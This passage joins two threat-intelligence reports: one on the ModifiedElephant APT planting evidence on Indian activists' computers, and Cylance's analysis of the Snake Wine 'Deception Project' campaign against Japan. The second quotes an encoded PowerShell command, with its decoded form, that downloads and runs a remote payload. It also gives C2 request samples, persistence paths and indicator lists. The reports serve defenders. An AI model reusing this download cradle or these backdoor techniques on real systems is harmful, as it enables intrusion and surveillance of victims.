Notably, a separate Indian-nexus threat actor, SideWinder, is placed alongside ModifiedElephant in this graph as they were observed targeting the same individuals.
WEAPONS OF CHOICE The malware most used by ModifiedElephant is unsophisticated and downright mundane, and yet it has proven sufficient for their objectives obtaining remote access and unrestricted control of victim machines.
The primary malware families deployed were NetWire and DarkComet remote access trojans (RATs).
Both of these RATs are publicly available, and have a long history of abuse by threat actors across the spectrum of skill and capability.
One particular activity revolves around the file Ltr_1804_to_cc.pdf, which contains details of an assassination plot against Prime Minister Modi.
A forensic report by Arsenal Consulting showed that this file, one of the more incriminating pieces of evidence obtained by the police, was one of many files delivered via a NetWire RAT remote session that we associate with ModifiedElephant.
Further analysis showed how ModifiedElephant was performing nearly identical evidence creation and organization across multiple unrelated victim systems within roughly fifteen minutes of each other.
INCUBATOR KEYLOGGER Known victims have also been targeted with keylogger payloads stretching as far back as 2012 (0a3d635eb11e78e6397a32c99dc0fd5a).
These keyloggers, packed at delivery, are written in Visual Basic and are not the least bit technically impressive.
Moreover, theyre built in such a brittle fashion that they no longer function.
The overall structure of the keylogger is fairly similar to code openly shared on Italian hacking forums in 2012.
The ModifiedElephant variant creates a hidden window titled cssrs incubator  along with SetWindowsHookEx to monitor for keystrokes.
It registers the mutex https://web.archive.org/web/20210917152050/https://scroll.in/article/991095/why-isnt-the-government-looking-for-the-source-of-modi-assassination-malware-on-rona-wilsons-pc https://web.archive.org/web/20210917152050/https://scroll.in/article/991095/why-isnt-the-government-looking-for-the-source-of-modi-assassination-malware-on-rona-wilsons-pc https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-I.zip https://arsenalexperts.com/persistent/resources/pages/BK-Case-Surendra-Gadling-Report-III.zip https://www.virustotal.com/gui/file/d780446e89cb71d5346ac7a389266c15b0c0d5c42e46c7a88003f93aab2ba8b5 https://italianhack.forumfree.it/?t63131534 8MODIFIEDELEPHANT APT AND A DECADE OF FABRICATING EVIDENCE 4oR_tonelsu-mviiLempel-Ziv and uses the VBScript to WMI connector to query for the victim systems MAC address and operating system.
The malware eventually exfiltrates the logs under the header Logs from COMPUTERNAME via email.
In some ways, the Incubator keylogger is far more brittle than the code referenced above as it relies on specific web content to function (that code is no longer available on the internet at the time of writing).
For example, the keylogger will use a GET request to an outdated whatismyip.
com endpoint in order to get the victim systems IP.
Similarly, in order to exfiltrate the logs, the keylogger pulls Microsoft schema templates to set up an SMTP server and push out the content using a hardcoded (but obfuscated) email address.
None of the schema sites requested by the keylogger are available at the time of writing, rendering the keylogger (in its 2012 form) unable to function.
Fig 3: Log upload format string Fig 4: Outdated WhatIsMyIp endpoint used to check the victims IP Fig 5: Incubator keylogger using Microsoft schema templates to create an SMTP server https://docs.microsoft.com/en-us/windows/win32/wmisdk/connecting-to-wmi-with-vbscript 9MODIFIEDELEPHANT APT AND A DECADE OF FABRICATING EVIDENCE The keylogger makes use of hardcoded SMTP credentials and email addresses to deliver the logged keystrokes to attacker controlled accounts, including: The keylogger samples also contain VBP and PDB paths, providing some potential context to their originating development environments.
In some cases, the attacker conducted multiple unique phishing attempts with the same payloads across one or more targets.
However, ModifiedElephant generally conducts each infection attempt with new malware samples.
Email Associated Sample chiragdin3gmail.com 0a3d635eb11e78e6397a32c99dc0fd5a loggerdata123gmail.com c095d257983acca64eb52979cfc847ef maalhamaragmail.com 0a3d635eb11e78e6397a32c99dc0fd5a 56d573d4c811e69a992ab3088e44c268 1396f720bc7615385bc5df49bbd50d29 d883399966cb29c7c6c358b7c9fdb951 eff9b8e1ee17cd00702279db5de39a3c maalhamara2gmail.com 0db49f572bb1634a4217b5215b1c2c6f ea324dd1dbc79fad591ca46ead4676a1 fd4902b8a4a4718f5219b301475e81aa nayaamaal1yahoo.com 0db49f572bb1634a4217b5215b1c2c6f nayaamaal122yahoo.com d883399966cb29c7c6c358b7c9fdb951 nayaamaal2yahoo.in ea324dd1dbc79fad591ca46ead4676a1 nayaamaal4yahoo.com 1396f720bc7615385bc5df49bbd50d29 newmaalyahoo.com fd4902b8a4a4718f5219b301475e81aa shab03indiatimes.com c095d257983acca64eb52979cfc847ef tamizhviduthalaigmail.com 1720ae54d8ca630b914f622dcf0c1878 tryluck222gmail.com 56d573d4c811e69a992ab3088e44c268 volvoxyz123gmail.com ef42dc2b27db73131e1c01ca9c9c41b6 1 0MODIFIEDELEPHANT APT AND A DECADE OF FABRICATING EVIDENCE ANDROID TROJAN ModifiedElephant also sent multiple phishing emails containing both NetWire and Android malware payloads at the same time.
The Android malware is an unidentified commodity trojan delivered as an APK file (0330921c85d582deb2b77a4dc53c78b3).
While the Android trojan bears marks of being designed for broader cybercrime, its delivery at the same time as ModifiedElephant Netwire samples indicates that the same attacker was attempting to get full coverage of the target on both endpoint and mobile.
The trojan enables the attackers to intercept and manage SMS and call data, wipe or unlock the device, perform network requests, and remote administration.
In a very basic form, the trojan provides the attackers with an ideal low-cost mobile surveillance toolkit.
Fig 6: ModifiedElephant Phishing email with malicious attachments for Netwire and Android GM Bot variants.
Fig 7: ModifiedElephant Phishing email with malicious attachments for Netwire and Android GM Bot variants.
https://www.virustotal.com/gui/file/4dbb14ff2836733b34594956c4234d2a54c04257710dd31a0884b1926d35d7bc 1 1MODIFIEDELEPHANT APT AND A DECADE OF FABRICATING EVIDENCE RELATIONS TO OTHER THREAT CLUSTERS Our research into this threat actor reveals multiple interesting threads that highlight the complex nature of targeted surveillance and tasking, where multiple actors swoop in with diverse mechanisms to track the same group of individuals.
These include private sector offensive actors (PSOAs) and groups with possible commercial facades to coordinate their illicit activities.
Based on our analysis of ModifiedElephant, the group operates in an overcrowded target space and may have relations with other regional threat actors.
From our visibility, we cant further disambiguate the shape of that relationshipwhether as part of an active umbrella organization, cooperation and sharing of technical resources and targets across threat groups, or simply coincidental overlaps.
Some interesting overlaps are detailed below.
Multiple individuals targeted by ModifiedElephant over the years have also been either targeted or confirmed infected with mobile surveillance spyware.
Amnesty International identified NSO Groups Pegasus being used in targeted attacks in 2019 against human rights defenders related to the Bhima Koregaon case.
Additionally, the Bhima Koregaon case defendant Rona Wilsons iPhone was targeted with Pegasus since 2017 based on a digital forensics analysis of an iTunes backup found in the forensic disk images analyzed by Arsenal Consulting.
Between February 2013 and January 2014 one target, Rona Wilson, received phishing emails that can be attributed to the SideWinder threat actor.
The relationship between ModifiedElephant and SideWinder is unclear as only the timing and targets of their phishing emails overlap within our dataset.
This could suggest that the attackers are being provided with similar tasking by a controlling entity, or that they work in concert somehow.
SideWinder is a threat actor targeting government, military, and business entities primarily throughout Asia.
ModifiedElephant phishing email payloads (b822d8162dd540f29c0d8af28847246e) share infrastructure overlaps (new-agency[.
]us) with Operation Hangover.
Operation Hangover includes surveillance efforts against targets of interest to Indian national security, both foreign and domestic, in addition to industrial espionage efforts against organizations around the world.
Another curious finding is the inclusion of the string Logs from Moosas found in a keylogger sample closely associated with ModifiedElephant activity in 2012 (c14e101c055c9cb549c75e90d0a99c0a).
The string could be a reference to Moosa Abd-Ali Ali, the Bahrain activist targeted around the same time, with FinFisher spyware.
Without greater information, we treat this as a low confidence conjecture in need of greater research.
https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/ https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-IV.zip https://github.com/malwarekiwi/Public-Content/raw/master/Global20Perspective20of20the20SideWinder20APT.pdf https://github.com/malwarekiwi/Public-Content/raw/master/Global20Perspective20of20the20SideWinder20APT.pdf https://www.virustotal.com/gui/file/828de55ffbfb1c1b6ffcbb56b838486dbaecc9b41a0d111fcca290978ed05e95 https://web.archive.org/web/20210226131047/https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/NS-Unveiling-an-Indian-Cyberattack-Infrastructure_FINAL_Web.pdf https://www.virustotal.com/gui/file/b665efe9b3dd575e17631146706d6a950d642aa7b7401ac794480c2bb557594c https://www.theverge.com/2015/1/21/7861645/finfisher-spyware-let-bahrain-government-hack-political-activist https://www.theverge.com/2015/1/21/7861645/finfisher-spyware-let-bahrain-government-hack-political-activist 1 2MODIFIEDELEPHANT APT AND A DECADE OF FABRICATING EVIDENCE ATTRIBUTION Attributing an attacker like ModifiedElephant is an interesting challenge.
At this time, we possess significant evidence of what the attacker has done over the past decade, a unique look into who theyve targeted, and a strong understanding of their technical objectives.
We observe that ModifiedElephant activity aligns sharply with Indian state interests and that there is an observable correlation between ModifiedElephant attacks and the arrests of individuals in controversial, politically-charged cases.
CONCLUSION The Bhima Koregaon case has offered a revealing perspective into the world of a threat actor willing to place significant time and resources into seeking the disruption of those with opposing views.
Our profile of ModifiedElephant has taken a look at a small subset of the total list of potential targets, the attackers techniques, and a rare glimpse into their objectives.
Many questions about this threat actor and their operations remain however, one thing is clear: Critics of authoritarian governments around the world must carefully understand the technical capabilities of those who would seek to silence them.
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c35b13ca7dc705361237e341af7a7e08 File a7ce8ea97df340e6f7a77dcbe065a617 File 0ad6bf767f5c45a6faf32a40c5807057 File ac7ebe2cb77dd9ac74bc55931e91bc23 File d698739648717c21e7eb2ba1806e673a File a7e96388fef3ac919f9f6703d7c0ebd4 File bf868371dd78162283a193940a1ae9fd File c14e101c055c9cb549c75e90d0a99c0a File d25250dca84aad3747418432c52be231 File 4dd1c71eee084eafdd0e9a29bd4d2e59 File 557bcc59ab20c44eb5b84c5073199983 File fedeb97850c1d917fbe3aeac388efd35 File 9ca885835c2c08af33ccf9e094358ea6 File b1c18520937d259d253d07e085d9e2b0 File 5b7780fc5e535eb507d86a54db70dee2 File 489c42a45b233acc377d10e1ec424b4b File b7818efa622a88d0c59e9c744cc91d43 1 7MODIFIEDELEPHANT APT AND A DECADE OF FABRICATING EVIDENCE Type Label File 28094131dfc2c92d57a665c7fbc4fc0e File af79639a14200ea25410b902fe0d5ee7 File 6be54d26001bd55770e3259562046ab2 File dccff8250ab9f275b367688e0eba7ec6 File 550dce15c334bc6b46c41c705d197e19 File c095d257983acca64eb52979cfc847ef File a2e70ef708c06fdc57b0079dda4f89fe File 93bed674dacbf3959c103711164747bf File 60bff49b10afc593f67888c4f767ea36 File e6714e3bd83b4a349ab48cc203b91813 File bfd3e1a3926fd5ef4eec1ac533f2ee34 File e60b8ddee18e295d9e33e490eafdbfb3 File 96212539955ef86074398485c46e0483 File 169a58a0743301ebc5a536d890f10c06 File aaad5fe071f985c57164a2766d4d8a89 File c7a48f4f6ade403e09c3bac7185e92ee File 60a083a1b7cd5e9a30212dc9541e161d File c57f16bd980eec7340d1e541877f0098 Domain pahiclisting.ddns[.
]net Domain bzone.no-ip[.
]biz Domain johnmarcus.zapto[.
]org Domain ramesh212121.zapto[.
]org Domain atlaswebportal.zapto[.
]org Domain testingnew.no-ip[.
]org Domain nepal3.msntv[.
]org Domain socialstatistics.zapto[.
]org Domain socialstudies.zapto[.
]org Domain gayakwaad[.
]com Domain knudandersen.zapto[.
]org 1 8MODIFIEDELEPHANT APT AND A DECADE OF FABRICATING EVIDENCE Type Label Domain jasonhistoryarticles.read-books[.
]org Domain duniaenewsportal.ddns[.
]net Domain vinaychutiya.no-ip[.
]biz Domain researchplanet.zapto[.
]org Domain greenpeacesite[.
]com Domain new-agency[.
]us Domain chivalkarstone[.
]com Domain newmms[.
]ru TECHNICAL REFERENCES 1 :  h t t p s : //w w w. a m n e s t y .
o r g /e n / l a t e s t / r e s e a r c h / 2 0 2 0 / 0 6 / i n d i a - h u m a n - r i g h t s - d e f e n d e r s - t a r g e t e d - b y - a - c o o r d i n a t e d - s p y w a r e - o p e r a t i o n /  [ A r c h i v e d ] 2 :  h t t p s : //a r s e n a l e x p e r t s .
c o m /p e r s i s t e n t / r e s o u r c e s /p a g e s / B K - C a s e - R o n a - W i l s o n - R e p o r t - I .
z i p  [ A r c h i v e d ] 3 :  h t t p s : //a r s e n a l e x p e r t s .
c o m /p e r s i s t e n t / r e s o u r c e s /p a g e s / B K - C a s e - R o n a - W i l s o n - R e p o r t - I I .
z i p  [ A r c h i v e d ] 4 :  h t t p s : //a r s e n a l e x p e r t s .
c o m /p e r s i s t e n t / r e s o u r c e s /p a g e s / B K - C a s e - S u r e n d r a - G a d l i n g - R e p o r t - I I I .
z i p  [ A r c h i v e d ] 5 :  h t t p s : //a r s e n a l e x p e r t s .
c o m /p e r s i s t e n t / r e s o u r c e s /p a g e s / B K - C a s e - R o n a - W i l s o n - R e p o r t - I V. z i p  [ A r c h i v e d ] 6 :  h t t p s : //w e b .
a r c h i v e .
o r g /w e b / 2 0 2 1 0 2 2 6 1 3 1 0 4 7/ h t t p s : // p a p e r .
s e e b u g .
o r g /p a p e r s /A P T/A P T _ C y b e r C r i m i n a l _ C a m p a g i n / 2 0 1 3 / N S - U n v e i l i n g - a n - I n d i a n - C y b e r a t t a c k - I n f r a s t r u c t u r e _ F I N A L _ We b .
p d f 7 :  h t t p s : //a r c h i v e .
o r g /d o w n l o a d /u n v e i l i n g - a n - i n d i a n - c y b e r a t t a c k - i n f r a s t r u c t u r e - a p p e n d i x e s / U n v e i l i n g  2 0 a n  2 0 I n d i a n  2 0 C y b e r a t t a c k  2 0 I n f r a s t r u c t u r e  2 0 -  2 0 a p p e n d i x e s .
p d f 8 :  h t t p s : //g i t h u b .
c o m /m a l w a r e k i w i / P u b l i c - C o n t e n t / r a w/m a s t e r/ G l o b a l  2 0 P e r s p e c t i v e  2 0 o f  2 0 t h e  2 0 S i d e W i n d e r  2 0 A P T. p d f https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/ https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/ https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/ https://web.archive.org/web/20210925011807/https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/ https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-I.zip https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-I.zip https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-II.zip https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-II.zip https://web.archive.org/web/20210818042414/https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-II.zip https://www.vice.com/en/article/ezpkjz/some-malware-victims-in-turkey-have-no-idea-theyve-been-targe https://arsenalexperts.com/persistent/resources/pages/BK-Case-Surendra-Gadling-Report-III.zip https://arsenalexperts.com/persistent/resources/pages/BK-Case-Surendra-Gadling-Report-III.zip https://web.archive.org/web/20210818043341/https://arsenalexperts.com/persistent/resources/pages/BK-Case-Surendra-Gadling-Report-III.zip https://securelist.com/spyware-hackingteam/37064/ https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-IV.zip https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-IV.zip https://web.archive.org/web/20220104195927/https://arsenalexperts.com/persistent/resources/pages/BK-Case-Rona-Wilson-Report-IV.zip https://citizenlab.ca/2014/02/mapping-hacking-teams-untraceable-spyware/ https://web.archive.org/web/20210226131047/https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/NS-Unveiling-an-Indian-Cyberattack-Infrastructure_FINAL_Web.pdf https://web.archive.org/web/20210226131047/https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/NS-Unveiling-an-Indian-Cyberattack-Infrastructure_FINAL_Web.pdf https://web.archive.org/web/20210226131047/https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/NS-Unveiling-an-Indian-Cyberattack-Infrastructure_FINAL_Web.pdf https://www.wired.com/2013/06/spy-tool-sold-to-governments/ https://archive.org/download/unveiling-an-indian-cyberattack-infrastructure-appendixes/Unveiling20an20Indian20Cyberattack20Infrastructure20-20appendixes.pdf https://archive.org/download/unveiling-an-indian-cyberattack-infrastructure-appendixes/Unveiling20an20Indian20Cyberattack20Infrastructure20-20appendixes.pdf https://archive.org/download/unveiling-an-indian-cyberattack-infrastructure-appendixes/Unveiling20an20Indian20Cyberattack20Infrastructure20-20appendixes.pdf https://www.dailydot.com/debug/hacking-team-turkey/ https://github.com/malwarekiwi/Public-Content/raw/master/Global20Perspective20of20the20SideWinder20APT.pdf https://github.com/malwarekiwi/Public-Content/raw/master/Global20Perspective20of20the20SideWinder20APT.pdf 1 9MODIFIEDELEPHANT APT AND A DECADE OF FABRICATING EVIDENCE InfoSec works on a rapid iterative cycle where new discoveries occur daily and authoritative sources are easily drowned in the noise of partial information.
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The Deception Project: A New Japanese-Centric Threat cylance.com /en_us/blog/the-deception-project-a-new-japanese-centric-threat.html In an effort to expose a common problem we see happening in the industry, Cylance would like to shed some light on just how easy it is to fake attribution.
The key factor we should focus on, as an industry, is determining HOW an attacker can take down an organization, rather than focusing only on the WHO.
Once we can identify how the attack happened, we can focus on whats really important  prevention.
Background While investigating some of the smaller name servers that APT28/Sofacy routinely use to host their infrastructure, Cylance discovered another prolonged campaign that appeared to exclusively target Japanese companies and individuals that began around August 2016.
The later registration style was eerily close to previously registered APT28 domains, however, the malware used in the attacks did not seem to line up at all.
During the course of our investigation, JPCERT published this analysis of one of the groups backdoors.
Cylance tracks this threat group internally as Snake Wine.
We found the infrastructure to be significantly larger than documented at the link above.
Cylance believes some of the steps taken by the attacker could possibly be an attempt at a larger disinformation campaign based upon some of the older infrastructure that would link it to a well-known CN-APT group.
Nearly all of the initial data in this case was gathered from delving further into the domains hosted by It Itch.
South Koreas National Intelligence Service (NIS) previously leveraged It Itchs services, as documented by Citizen Lab in this post.
A number of the samples were signed using the leaked code-signing certificate from the Hacking Team breach.
Propagation and Targeting To date, all observed attacks were the result of spear phishing attempts against the victim organizations.
The latest batch used well-crafted LNK files contained within similarly named password-protected ZIP files.
The LNK files, when opened, would execute a PowerShell command via cmd.exe /c to download and execute an additional payload.
The attackers appeared to prefer the Google URL shortening service goog.gl, however, this could easily change as the attacks evolve.
powershell.exe -nop w hidden -exec bypass -enc JAAyAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGUAeABlAGMAIABiAHkAcABhAHMAcwAgAC0AYwAgACIASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwAHMAOgAvAC8AZwBvAG8ALgBnAGwALwBjAHAAVAAxAE4AVwAnACcAKQAiACcAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAMwAgAD0AIAAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdAAgACsAIAAiAFwAcwB5AHMAdwBvAHcANgA0AFwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAFwAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7AGkAZQB4ACAAIgAmACAAJAAzACAAJAAyACIAOwB9AGUAbABzAGUAewBpAGUAeAAgACIAJgAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAkADIAIgA7AH0A Figure 1: Encoded PowerShell Cmdlet Contained Within the LNK File 2-nop -w hidden -exec bypass -c IEX (New-Object System.
Net.
Webclient).DownloadString(https://goo(dot)gl/cpT1NW)if([IntPtr]::Size -eq 8)3 env:SystemRoot  \syswow64\WindowsPowerShell\v1.0\powershelliex  3 2elseiex powershell 2 Figure 2: Decoded PowerShell Snippet The shortened URL connected to hxxxp://koala (dot) acsocietyy (dot) com/acc/image/20170112001 (dot) jpg.
This file was in fact another piece of PowerShell code modified from PowerSploit.
That file opens a decoy document and executes an approximately 60kb chunk of position independent shellcode.
The shellcode upon further decoding and analysis is nearly identical to what Cylance calls The Ham Backdoor below.
This particular variant of the backdoor references itself internally as version 1.6.4 and beaconed to gavin (dot) ccfchrist (dot) com.
The move to a shellcode-based backdoor was presumably done to decrease overall AV detection and enable deployment via a wider array of methods.
A public report released here documented a similar case in which several universities were targeted by an email purporting to be from The Japanese Society for the Promotion of Science jsps (dot) go (dot) jp regarding the need to renew grant funding.
The website koala (dot) asocietyy (dot) com was also used to host the following PowerShell payloads: ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86 20170112003.jpg 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f 20170112002.jpg 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48 20170112007.jpg 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03 20170112005.jpg 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856 20170112.jpg 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b671029720170112001.jpg 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d20170112006.jpg f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b 20170112008.jpg 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543 20170112004.jpg The payloads contained within each PowerShell script beaconed to the same domain name, with the exception of 20170112008.jpg, which beaconed to hamiltion (dot) catholicmmb (dot) com.
Earlier attempts used EXEs disguised with Microsoft Word document icons and DOCX files within a similarly named ZIP file as documented by JPCERT.
Cylance has observed the following ZIP files which contained a similarly named executable: 29().zip 2016A41025.zip .zip .zip .zip .zip 11.zip Malware The Ham Backdoor The Ham Backdoor functions primarily as a modular platform, which provides the attacker with the ability to directly download additional modules and execute them in memory from the command and control (C2) server.
The backdoor was programmed in C and compiled using Visual Studio 2015.
The modules that Cylance has observed so far provided the ability to: Upload specific files to the C2 Download a file to the infected machine Load and execute a DLL payload List running processes and services Execute a shell command 1/6 https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html https://www.jpcert.or.jp/magazine/acreport-ChChes.html https://citizenlab.org/2015/08/what-we-know-about-the-south-korea-niss-use-of-hacking-teams-rcs/ https://github.com/PowerShellMafia/PowerSploit https://csirt.ninja/?p1103 Add an additional layer of AES encryption to the network protocol Search for a keyword in files Legacy AV appears to have fairly good coverage for most of the samples however, minor changes in newer samples have considerably lower detection rates.
JPCERT calls this backdoor ChChes for cross-reference.
The malware employs a number of techniques for obfuscation, such as stack construction of variables and data, various XOR encodings and data reordering schemes, and some anti-analysis techniques.
Perhaps the most interesting of these, and the one weve chosen to key on from a detection perspective, is the following bit of assembly which was the final component in decoding a large encoded block of code: lea     edx, [esiedi] mov     edi, [ebpvar_4] mov     cl, [ecxedx] xor     cl, [eaxedi] inc     eax mov     edi, [ebparg_8] mov     [edx], cl mov     ecx, [ebparg_0] cmp     eax, ebx This snippet in the analyzed samples used a fixed size XOR key usually 0x66 bytes long but would sequentially XOR every byte by each value of the key.
This effectively results in a single byte XOR by the end of the operation.
This operation made little sense in comparison to the other more complicated reordering and longer XOR encodings used prior to this mechanism.
Cylance only found two variants to this code-block, however, that could be easily modified by the attacker in the future.
The code also makes extensive use of the multi-byte NOP operation prefixed by 0x0F1F.
These operations present somewhat of a problem for older disassemblers such as the original Ollydbg, but are trivially patched.
The network protocol of the backdoor is well described by JPCERT, but Cylance has taken the liberty to clean up their original python snippet, which was provided for decoding the cookie values: import hashlib from Crypto.
Cipher import ARC4 def network_decode(cookie_data): data_list  cookie_data.split () dec  [] for i in range(len(data_list)): tmp  data_list[i] pos  tmp.find() key  tmp[0:pos] val  tmp[pos:] md5  hashlib.md5() md5.update(key) rc4key  md5.hexdigest()[8:24] rc4  ARC4.new(rc4key) dec.append(rc4.decrypt(val.decode(base64))[len(key):]) print ([] decoded:   .join (dec)) Figure 3: Cleaned Script Originally by JPCERT As noted in the JPCERT report, Cylance also found that in most cases of successful infection, one of the earliest modules downloaded onto the system added an additional layer of AES communication to the traffic.
The backdoor would also issue anomalous HTTP requests with the method ST in the event that the C2 server did not respond appropriately to the initial request.
An example request is shown below: ST /2C/H.htm HTTP/1.1 Cookie: uQ[REDACTED]omWwFSAhw4biTXvqd2FhK2TIyoLYj12FShw6MhEGHlWurHsUyekeuunmop4kZTgnfm5ERPBaxi2Bf4B2r6CTd9jh5u3AHOwuyVaJeuw3D3D Accept: / User-Agent: Mozilla/4.0 (compatible MSIE 7.0 Windows NT 5.1 Trident/4.0 .NET CLR 2.0.50727 .NET CLR 3.0.4506.2152 .NET CLR 3.5.30729 .NET CLR 1.1.4322) Host: kawasaki.unhamj(dot)com Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache Figure 4: Example Request Using the ST Method The majority of the Ham Backdoors found to date have all been signed using the stolen and leaked Hacking Team code-signing certificate.
HT Srl Certificate Details: Status: Revoked Issuer: VeriSign Class 3 Code Signing 2010 CA Valid: 1:00 AM 8/5/2011 to 12:59 AM 8/5/2012 Thumbprint: B366DBE8B3E81915CA5C5170C65DCAD8348B11F0 Serial Number: 3F FC EB A8 3F E0 0F EF 97 F6 3C D9 2E 77 EB B9 Why the attackers chose to use this expired certificate to sign their malware samples is unknown.
The malware itself bears little resemblance to previous hacking team implants and was likely done purely as an attempt to throw off attribution.
The only observed persistence method to date is the use of the standard Windows Run key SOFTWARE\Microsoft\Windows\CurrentVersion\Run under either a users hive or HKLM.
Cylance found that the following three full file paths were commonly used by this particular backdoor: AppData\Reader.exe AppData\Notron.exe AppData\SCSI_Initiarot.exe Cylance also identified an earlier sample, which took advantage of a self-extracting RAR and a side loading vulnerability in the legitimate Microsoft Resource Compiler, RC.exe.
RC.exe will load the DLL RCDLL.dll via its import table.
This modified DLL was responsible for XOR decoding and mapping the shellcode version of the Ham Backdoor.
This particular sample was stored in a file called RC.cfg, which was encoded using a single byte XOR against the key of 0x54.
It appears that this version was only used in early campaigns, as the latest referenced backdoor version Cylance identified was v1.2.2.
2/6 http://www.hackingteam.it/ Tofu Backdoor Based upon Cylances observations, the Tofu Backdoor was deployed in far fewer instances than the Ham Backdoor.
It is a proxy-aware, fully-featured backdoor programmed in C and compiled using Visual Studio 2015.
The Tofu backdoor makes extensive use of threading to perform individual tasks within the code.
It communicates with its C2 server through HTTP over nonstandard TCP ports, and will send encoded information containing basic system information back, including hostname, username, and operating system within the content of the POST.
POST /586E32A1FFFFFFFF.aspx HTTP/1.1 Accept: / Cookies: Sym1.0: 0 ,Sym2.0: 0 ,Sym3.0: 61456 ,Sym4.0: 1 Host: area.wthelpdesk.com:443 Content-Length: 39 Connection: Keep-Alive Cache-Control: no-cache Figure 5: Example POST Request From the Tofu Backdoor Although communication took place on TCP port 443, none of the traffic was encrypted and the custom cookies Sym1.0  Sym4.0 can be used to easily identify the backdoor in network traffic.
The backdoor has the ability to enumerate processor, memory, drive, and volume information, execute commands directly from the attacker, enumerate and remove files and folders, and upload and download files.
Commands were sent by the C2 and processed by the backdoor in the form of encoded DWORDs, each correspondeding to a particular action listed above.
Tofu may also create two different bi-directional named pipes on the system \\.\pipe\1[12345678] and \\.\pipe\2[12345678] which could be accessed via other compromised machines on the internal network.
During an active investigation, the file was found at AppData\iSCSI_Initiarot.exe.
This path was confirmed as a static location in the code that the backdoor would use to copy itself.
A static Run key was also used by the backdoor to establish persistence on the victim machine (HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft iSCSI Initiator).
All of the samples Cylance identified were compiled in November 2016, so these backdoors may have simply been tests as later samples moved back to the shellcode-based Ham Backdoors.
The backdoors were also similarly signed using the same stolen code-signing certificate from HT Srl.
C2 Infrastructure Cylance found that at least half of the infrastructure associated with The Deception Project appeared to be dark or at least unused.
This suggests that the Snake Wine group will likely continue to escalate their activity and persistently target both private and government entities within Japan.
Cylance also found an extensive network of Dynamic DNS (DDNS) domains registered via multiple free providers was likely being used by the same group.
However, Cylance was unable to identify any current samples which communicated with this infrastructure, and have subsequently separated this activity from the rest of the attackers infrastructure.
Many of the DDNS domains were concocted to mimic legitimate windows update domains such as download.windowsupdate(dot)com, ipv4.windowsupdate(dot)com, and v4.windowsupdate(dot)com.
Domain Registration Information: 8/19/16           wchildress(dot)com                                  abellonav.poulsen(at)yandex.com 8/19/16           poulsenv(dot)com                                    abellonav.poulsen(at)yandex.com 8/19/16           toshste(dot)com                                       toshsteffensen2(at)yandex.com 9/6/16             shenajou(dot)com                                   ShenaJouellette(at)india.com 9/6/16             ixrayeye(dot)com                                     BettyWBatts(at)india.com 9/12/16           wthelpdesk(dot)com                                 ArmandOValcala(at)india.com 9/12/16           bdoncloud(dot)com                                   GloriaRPaige(at)india.com 9/12/16           belowto(dot)com                                      RobertoRivera(at)india.com 11/3/16           incloud-go(dot)com                                   RufinaRWebb(at)india.com 11/3/16           unhamj(dot)com                                      JuanitaRDunham(at)india.com 11/3/16           cloud-maste(dot)com                                MeganFDelgado(at)india.com 11/4/16           cloud-kingl(dot)com                                  ElisabethBGreen(at)india.com 11/4/16           incloud-obert(dot)com                               RobertJButler(at)india.com 12/6/16           fftpoor(dot)com                                         SteveCBrown(at)india.com 12/6/16           ccfchrist(dot)com                                       WenonaTMcMurray(at)india.com 12/7/16           catholicmmb(dot)com                                 EmilyGLessard(at)india.com 12/7/16           usffunicef(dot)com                                     MarisaKParr(at)india.com 12/7/16           cwiinatonal(dot)com                                  RobertMKnight(at)india.com 12/7/16           tffghelth(dot)com                                      NathanABecker(at)india.com 12/7/16           acsocietyy(dot)com                                   PearlJBrown(at)india.com 12/8/16           tokyo-gojp(dot)com                                   